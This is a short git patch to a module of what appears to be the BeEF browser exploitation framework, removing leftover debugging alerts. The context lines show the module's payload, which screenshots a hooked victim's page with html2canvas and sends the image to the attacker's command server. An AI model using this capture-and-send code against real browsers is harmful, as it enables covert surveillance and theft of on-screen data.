From ad4cb31864264d742bd12f305bdd1475573a5f6f Mon Sep 17 00:00:00 2001 From: mgeeky Date: Thu, 14 Apr 2016 15:35:25 +0200 Subject: [PATCH] Oops, forgot to remove those debugging alerts --- modules/browser/spyder_eye/command.js | 3 --- 1 file changed, 3 deletions(-) diff --git a/modules/browser/spyder_eye/command.js b/modules/browser/spyder_eye/command.js index a36f2b87a..f37517fbd 100644 --- a/modules/browser/spyder_eye/command.js +++ b/modules/browser/spyder_eye/command.js @@ -11,13 +11,10 @@ beef.execute(function() { html2canvas(document.body).then(function(canvas) { var d = canvas.toDataURL('image/png'); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'image=' + d ); - ret = true; - alert('Did it.'); }); } catch (e) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Obtaining snapshot failed: ' + e.message); - alert('FAILED.'); } };